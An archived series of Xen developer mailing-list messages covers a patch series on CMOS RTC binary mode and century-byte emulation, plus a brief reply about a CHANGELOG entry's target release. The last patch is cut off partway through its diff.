 Thu, 02 Jul 2026 09:25:32 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wfDfo-0004ZW-0r
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 09:25:32 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfDfn-00Dwwg-9x
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 11:25:31 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a462e71-e002-0a2a0a5209dd-0a2a4509d3f0-30
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 11:25:31 +0200
Received: from [209.85.221.49] (helo=mail-wr1-f49.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a462e8a-97e6-0a2a45090019-d155dd31d107-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 11:25:31 +0200
Received: by mail-wr1-f49.google.com with SMTP id
 ffacd0b85a97d-471eeac43bfso1282634f8f.3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 02:25:31 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-477dd94cde8sm7871441f8f.22.2026.07.02.02.25.30
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 02 Jul 2026 02:25:30 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Autocrypt:Content-Language:Cc:To:Subject:From:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782984330; x=1783589130; darn=lists.xenproject.org;
        h=content-transfer-encoding:autocrypt:content-language:cc:to:subject
         :from:user-agent:mime-version:date:message-id:from:to:cc:subject
         :date:message-id:reply-to;
        bh=DiRjE3SzKDTgBcvOhNeMqXfYe3N5EKCN8Jmz5cizP8U=;
        b=GV9xGVoinGBIHZ0Bhec0Xe8R8UGZxgViuIcjrA/rVVvdWa0DYA4SziSTztUHKiNaZI
         xJGrhgRZuQm0tymLFEkZKG/NDsuq87KxyTR+w+SZzW52GMnduoozdELVIaCa8Ozhc9Fp
         DEM11nazUrw2ljPX9uKRp8GizXJNzPLVc/l5e1d9uAWAw+AeROHw4mB5aN8rFxA0z8Mn
         4MOSIzqcG7R30G/opMMifXfxWc3jheYKT3/eV4Qk6AEQTrEm3F41fylECv5T8x3maXaH
         3GB0vozEey5CNs6tUIAUZgyIRhVQjTZ73wc9/xU0aYZnKNlOdkaK3/nQe3HTYcwVmbu4
         6xBQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782984330; x=1783589130;
        h=content-transfer-encoding:autocrypt:content-language:cc:to:subject
         :from:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
        bh=DiRjE3SzKDTgBcvOhNeMqXfYe3N5EKCN8Jmz5cizP8U=;
        b=HN575kV94hO97QqCHRT+gGi4+yM/1+ltyyuYw3Z7EUcuOTrTxWol5rKNNLkVZdAo6n
         MQhBTVbYU4v4gnkIWAPji8M6q3Qc6bcrZK1uA0JXLQyaxnryB3rxE2Ocqb5OduIscCXC
         8ZK5/GOxz2gWVEVKha+3ZeTQJSrH2lFEuDyMFQYFcsUFo+KnuAoPE4D7JYTlxwrbRIqh
         XqnopPs+Xj9XTVXiWi5RvyPe8jX52FiiURIXqeQa2vdY/zXPPNu8A8s3xyIlCgRdgxh5
         z4JqPyQSML4fWp7etz6o9G/HasX5K843JD4EzG9xuT50A49DJjwL1+Iq9XznVih24Nil
         gsIw==
X-Gm-Message-State: AOJu0YxkSpr0cTVRYSwbV9Cnx6SlmIBnNQJy7MNTSchXkpyKAQua3hsX
	W+BcqAjmORYQNXv5gRCLGxUdGOSIagjAGUoMxkZW2R4u747CyhUTabcAkwczkU42jfKx4QldAj5
	wpSl+4w==
X-Gm-Gg: AfdE7cnuRdNMw0ZHXTrt4QO34KdJDQr6xwj4NoLsHNXdh1+Xow0xKaDCg97xB7OZPSG
	uVGSnLsrNOphXgICAYzIvmSejbpthdfC6qSjgcvbDKiwLKUIoN6kz7eR7WgG+o7yMN2VYeU8Vyq
	9wjqmNHlMyMefg3Qn/JqlZZ9S2ZXMZm6fhFH6+UBVFrp+lPRYpSSYELWd1eD81NOfpMt0FqJug9
	13jhA/Z3Vy4TcAFw/DourMWej1YrArsEP5ixHQKmams9jtEn/EPllYs1l6JafgFIzJ6Ml8xcCdR
	9YtRsws1e1T4jZCOm/eP0nOzUAJNl8t5EVY7MX828qbjo3i4ArRPEtZ9o2G9yZfuaxzzXm90p8x
	WGE1WYruj81TaxVPw85X+ENjmd5wOoqCjddqYeHldwYgw65x8JGXL3hQ/tLqyYpuF2KXiSwQQcD
	HpPIB187MoAjflPewBOMewrGk7ZvFw7NXilrn3GNZBgAaoyDqsPioOTdj1MBmlXtSwU2K2KQ2Xo
	QHD
X-Received: by 2002:adf:ecd0:0:b0:475:cff8:b465 with SMTP id ffacd0b85a97d-47758511955mr6667203f8f.18.1782984330614;
        Thu, 02 Jul 2026 02:25:30 -0700 (PDT)
Message-ID: <79d50725-3892-4643-b854-bfec9c0c0d79@suse.com>
Date: Thu, 2 Jul 2026 11:25:29 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
From: Jan Beulich <jbeulich@suse.com>
Subject: [PATCH v2 0/4] x86/time: CMOS RTC century byte
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrs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pwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-bad1c0/1782984331-47530986-445D5707/0/0
X-purgate-type: clean
X-purgate-size: 389

While meanwhile we at least consume this ourselves, I'm still surprised that we
got away with also not emulating it for HVM guests.

There's now some other (more or less related) cleanup here as well.

1: x86/time: CMOS RTC may run in binary mode
2: time: shorten year determination loop
3: x86/vRTC: the use_timer field is a boolean one
4: x86/vRTC: support century field

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 09:27:31 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 09:27:31 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351453.1608618 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfDhh-00059y-H3; Thu, 02 Jul 2026 09:27:29 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351453.1608618; Thu, 02 Jul 2026 09:27:29 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfDhh-00059r-Dl; Thu, 02 Jul 2026 09:27:29 +0000
Received: by outflank-mailman (input) for mailman id 1351453;
 Thu, 02 Jul 2026 09:27:27 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wfDhf-00059h-Sl
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 09:27:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfDhf-00DxRL-9L
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 11:27:27 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a462ef6-bab6-0a2a0a5309dd-0a2a4508d830-26
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 11:27:27 +0200
Received: from [209.85.221.42] (helo=mail-wr1-f42.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a462efe-edec-0a2a45080019-d155dd2acda5-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 11:27:27 +0200
Received: by mail-wr1-f42.google.com with SMTP id
 ffacd0b85a97d-473ba028d46so1579709f8f.1
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 02:27:27 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-477ddf0f27bsm7055977f8f.30.2026.07.02.02.27.25
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 02 Jul 2026 02:27:26 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782984446; x=1783589246; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=8ChJZT2uxOwOpgq3GZb2mrsTu1483VVYtw+84CX3LBQ=;
        b=RwdQA7fAR0pIVNk+UMxzDMhejuwDuhy87ydwhF1V24AI9+BG6drBT/DItalCMGRlLw
         D+pIkTiBgVXdi7bDzzoE7eiSAElqSzUcOa8eb6f9GV03ONxoA4UYp4vOt0eIPlhGfHGp
         KeRqETDSoxm/VtVyI6mNk/sNjUJhFWQsTgQY0kGugi+i6u62Ihu6N6Qiv5xeqTa0NT4Z
         m/R1WYNuZu/ss9DM5VxJbKryQoXOFWjXQJ4fe9pFyKtym3FCgRls10d66uV8Ygh+ntoC
         Z0kLT+CGkwkhNMbYOpwq+/eqOpweXcCWIpTL7K6oZyywxlsoMcwkejVx6UKRLq4Xi7EI
         upJQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782984446; x=1783589246;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=8ChJZT2uxOwOpgq3GZb2mrsTu1483VVYtw+84CX3LBQ=;
        b=kur0lQ4BT390C7SfaklHIbu4QhFqvYshk4Cui3yYLROHEM3R99SUVnwchobpS3srwd
         B8EIc/qqL7lKrp6XkYTwKS2aY3P5dPk9hCI8hdMiHxUKxUmFgLEdoQmNZqIB3B0usg0H
         45bCn7vQUHAZSbBVs/J/NJAU6aC1632KdLByi3bQnQTS12bi9cdI+kAzE57Mw97uu1bt
         OXX/PFIRQcHceK+ROYLBoXdzFGbl0vAq/a5lwouI5e8Uh2GV28MJLLHzu792Lvb3BbyS
         cp9eujJDWfOMlYdzIZ8QavC3hDRcx9S4+m4x3mVlfCZ/vHF7gAjlKx4lxHicCu0+Rdnx
         spFg==
X-Forwarded-Encrypted: i=1; AHgh+RpDhdT7KAp+LrPq8Rp+upRSIxfJKmnEeVP6Fy/rGpZ8V8XiYx/cxQUDwKP0uoRhu0Kciz8HXeKajEI=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwU3DslXFGuXvZRGOTY/w1rtjyxQJsXBMbNq/oiVEifmQoKmWoT
	FE8U9cJ2ZdAlAMTmXsUaw4giCQ8mXchSHUtfvWaDsLFMphKf4xWodxB8n3MB2GEM6A==
X-Gm-Gg: AfdE7clc0zh9EunVQ+MvMmwNw4yTA47guwFG1sSZLXUZD3nciYUAH68PmGkJBvglFXO
	iJZuBVq1wSFTuyAyrQVnyP7DAmOT+ABbnSwzrSjPViyzqSzyuxKkSk2rDJ108trhLPUOCuOjKW0
	vU7cTdJWmn33GFW/qm7uO2WIYdroszdrt+mm+/N/QN5oOjUuBd8KE3a7LKlRqRR5RUNOcD7XZei
	owwKX51ycCgyND3CuuELGY5dwE1a99GQE6H1gF28fDCgidcvVmCniOC4Ahp3ohlqhS5b9P8yA9i
	1r74tFThlppmGB8IW/+URGaZTPsEtGXBQgJodmjPYh/VM6pA+8mdal85osioKTk1HCcrL2srkQA
	q+sPlIeqQAxt4L+PRYg7tWe67CzTZqCaIlk6wwJzkzyW4uD9jxllPmhhFo6XnLzTRd5QfnfNm3D
	aM6L+MtCQKVKXHIonnph5sjp8qktFQ1OrLiAeyxrzhu7vcAUuF8FZGl+VmhI32Aox4d1qlVG73i
	Jjp
X-Received: by 2002:a05:6000:2589:b0:475:f0c2:75ab with SMTP id ffacd0b85a97d-4775b176e29mr7562020f8f.60.1782984446607;
        Thu, 02 Jul 2026 02:27:26 -0700 (PDT)
Message-ID: <d61b30c4-4c63-4954-8ba7-3188ccebf0d8@suse.com>
Date: Thu, 2 Jul 2026 11:27:25 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 4/4] lib: make safe_copy_string_from_guest() validate
 input
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>, Daniel Smith <dpsmith@apertussolutions.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <5d242cad-d907-4321-8ac1-363c0f9b623d@suse.com>
 <7e492b98-26d5-4d90-a703-ee25beae7e23@suse.com>
 <1562ea63-7f17-4748-9380-94712dd84d1a@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9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28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <1562ea63-7f17-4748-9380-94712dd84d1a@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c1860d/1782984447-A11293FC-CAA0749F/0/0
X-purgate-type: clean
X-purgate-size: 816

On 02.07.2026 10:30, Oleksii Kurochko wrote:
> On 6/16/26 11:03 AM, Jan Beulich wrote:
>> --- a/CHANGELOG.md
>> +++ b/CHANGELOG.md
>> @@ -11,6 +11,8 @@ The format is based on [Keep a Changelog
>>      to obtain an automatically allocated domid.  The prior sentinel values (0
>>      since the start of Xen, and DOMID_INVALID since Xen 4.21) now no longer
>>      represent a wildcard input.
>> + - XEN_DOMCTL_DEV_DT's, FLASK_[GS]ETBOOL's, and FLASK_DEVICETREE_LABEL's input
>> +   string sizes need to include the nul terminator.
> 
> The patch isn't tagged as "for 4.22", but the change in `CHANGELOG.md` 
> makes it look like it's intended for the 4.22 release.
> 
> Do you expect this patch to be included in 4.22?

Not anymore. See also the v2 re-posting (where I'd appreciate your ack).

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 09:29:16 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 09:29:16 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351462.1608627 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfDjO-00066v-Pu; Thu, 02 Jul 2026 09:29:14 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351462.1608627; Thu, 02 Jul 2026 09:29:14 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfDjO-00066o-NA; Thu, 02 Jul 2026 09:29:14 +0000
Received: by outflank-mailman (input) for mailman id 1351462;
 Thu, 02 Jul 2026 09:29:14 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wfDjN-00066b-Uv
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 09:29:14 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfDjM-005BD9-KF
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 11:29:12 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a462f63-e002-0a2a0a5209dd-0a2a4506c242-26
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 11:29:12 +0200
Received: from [209.85.128.45] (helo=mail-wm1-f45.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a462f68-08de-0a2a45060019-d155802dad8f-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 11:29:12 +0200
Received: by mail-wm1-f45.google.com with SMTP id
 5b1f17b1804b1-490b1bbcf3aso8765275e9.1
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 02:29:12 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493c635c41dsm63880115e9.5.2026.07.02.02.29.11
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 02 Jul 2026 02:29:11 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782984552; x=1783589352; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:content-language
         :references:cc:to:from:subject:user-agent:mime-version:date
         :message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=rNeLuZWOoZ4GW+Y/apOrOAS/S2cqMXKJ1Ia6qOHbnNw=;
        b=dPTCulflmz29SUvLuAyoL9rb09+33MWaPtqhhbTXGygS2qWs+D8SssEKau4kxE2Weh
         82y1NM01KcSlYbeDpX6LI98rR8Vpbo79sjvP2bOcl8Subd5vDtcMB5VNjBFZMsHsx4Qt
         meIT2xSEAzQmvKcBrtZA25+DvU/7mWYOQo65RDza3x5YR8MhHfKLxtBteZaFGbfRhfkF
         EUxzDbllchRTUNu5cSszAcJpMidkgsdAgC5RnDu0v1Z0aJvkVtCuAKW1/gBh+7/rp9ad
         vEUMmMdL29/LS3y2AqX72VAH2W/A5sR8BdCAOUj4Ghmb/dw0H8c6qh8ubDGKCc0jUy/a
         bnNQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782984552; x=1783589352;
        h=content-transfer-encoding:in-reply-to:autocrypt:content-language
         :references:cc:to:from:subject:user-agent:mime-version:date
         :message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=rNeLuZWOoZ4GW+Y/apOrOAS/S2cqMXKJ1Ia6qOHbnNw=;
        b=Hzxw6qIVm5bGnoCod8G1LQ9heHJ07qnBwr1XZPffN8VSSvve2aqvj8XqQcWq+9tTDu
         30AN4kejaYoM2y1wwfGxM7d0E/ljMMxZOkF/yNaLxS0cSfXaV6SNTaGYdsmfnPJNiGDa
         p5rSJeTJxerS7cnwGPQZq4+iedeCOLtPUapwCJdHOhdnb3u2/TjRQeWRRDtzhvbL8oNx
         BV1cIqRToUOv3kFk/BfUj1su1d5r5S2NQTelJfVmCKW9M/t74rcmW6ON3+6bnCQU8X/n
         V+6QZwk8OVmfd2ahDsMg8mcuKZ+r/GNdJQsN2vU9u1566PGnn3yRHqCa1jZfJMPl3KQE
         PkXw==
X-Gm-Message-State: AOJu0Yx4aqNsnHYTWXPLLvxxh3N6w0iqVXtraJG0Bf1GbxcZMdwTo9PA
	IFPVI5255M//FK8UncNlyVQXqlwrskblrkcFy4WVN3c/NteQfHh7NO/BuIoXEvIUv/N2ogTFvjE
	0IrIv2w==
X-Gm-Gg: AfdE7cmzOvkoYMCifM3PsjrPV16GXdQWSmab6gywP4hFOzWy15uRcwDm/KFfGJRXQaY
	WNFVSj55V5lO5WUExrCxL0XUuzjebZuJYezMfvH2krJW5k+aYD6Hp2+YV6XQVDiH9Y899noFB/C
	0rjkaEx72iDIJzHyxFkzjQI9SS3+d4F+Bn6p+hbpF/jvsd8w0KMpMYGHH3XVySMkwr+ZrZamZ/+
	lOEKHXMBJHSnBlgrgdlWIhLTyLn9+DOgiBreHK16QW03dviyCJqYNwTiL0yx52ZObEcXlntjtTd
	jh4p2C2ZvWn+UyEzbMqIjpQU0QHqITdCDJ/ySu9A8hT4XgX0C5FYT2wr7SLlAbnysvHyr/iTAp9
	OPE8nufsIAL598tt1ZoFWFVW0bSpq3y2l7Aa/ceSHM9KTxS+gfQ34+rBYj2+b1xFcFfS4NcpW47
	wYMcftefALdTBUzZZZxZtZf1PqYSxUSeMzpPRICWJHTeRE/A9iancQ49+krzosTgEJ7Q/fkW7Sw
	P/DBMpjsoPW7CY=
X-Received: by 2002:a05:600c:1f84:b0:492:63c3:8eeb with SMTP id 5b1f17b1804b1-493c2ba53e4mr72531165e9.35.1782984551966;
        Thu, 02 Jul 2026 02:29:11 -0700 (PDT)
Message-ID: <5945d8f4-aece-4572-8e89-60408dd7ac32@suse.com>
Date: Thu, 2 Jul 2026 11:29:11 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH v2 1/4] x86/time: CMOS RTC may run in binary mode
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>
References: <79d50725-3892-4643-b854-bfec9c0c0d79@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0u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bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <79d50725-3892-4643-b854-bfec9c0c0d79@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-16d1c6/1782984552-C453168D-9984B018/0/0
X-purgate-type: clean
X-purgate-size: 3621

Indicating it would always use BCD mode is just wrong (and then the
comment there said the opposite). All halfway recent (and really all 64-
bit capable) systems having a CMOS RTC should properly indicate the mode
in control register B.

Make use of the flag, but provide a fallback mechanism in case people run
into systems not matching the above assumption. Additionally, when binary
mode is indicated and when "cmos-rtc-probe" is in use (but "cmos-rtc-bcd"
isn't), probe whether the clock really runs in binary mode. (This probing,
sadly, can take up to 10 seconds.)

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
v2: New.

--- a/docs/misc/xen-command-line.pandoc
+++ b/docs/misc/xen-command-line.pandoc
@@ -339,6 +339,14 @@ parameter to "stable:socket".
 Specify the event count threshold for raising Corrected Machine Check
 Interrupts.  Specifying zero disables CMCI handling.
 
+### cmos-rtc-bcd (x86)
+> `= <boolean>`
+
+> Default: `false`
+
+Flag to indicate the CMOS Real Time Clock uses BCD mode irrespective of
+control register B indicating binary mode.
+
 ### cmos-rtc-probe (x86)
 > `= <boolean>`
 
--- a/xen/arch/x86/include/asm/mc146818rtc.h
+++ b/xen/arch/x86/include/asm/mc146818rtc.h
@@ -96,7 +96,6 @@ bool is_cmos_port(unsigned int port, uns
 
 #ifndef RTC_PORT
 #define RTC_PORT(x)	(0x70 + (x))
-#define RTC_ALWAYS_BCD	1	/* RTC operates in binary mode */
 #endif
 
 /*
--- a/xen/arch/x86/time.c
+++ b/xen/arch/x86/time.c
@@ -1250,6 +1250,9 @@ mktime (unsigned int year, unsigned int
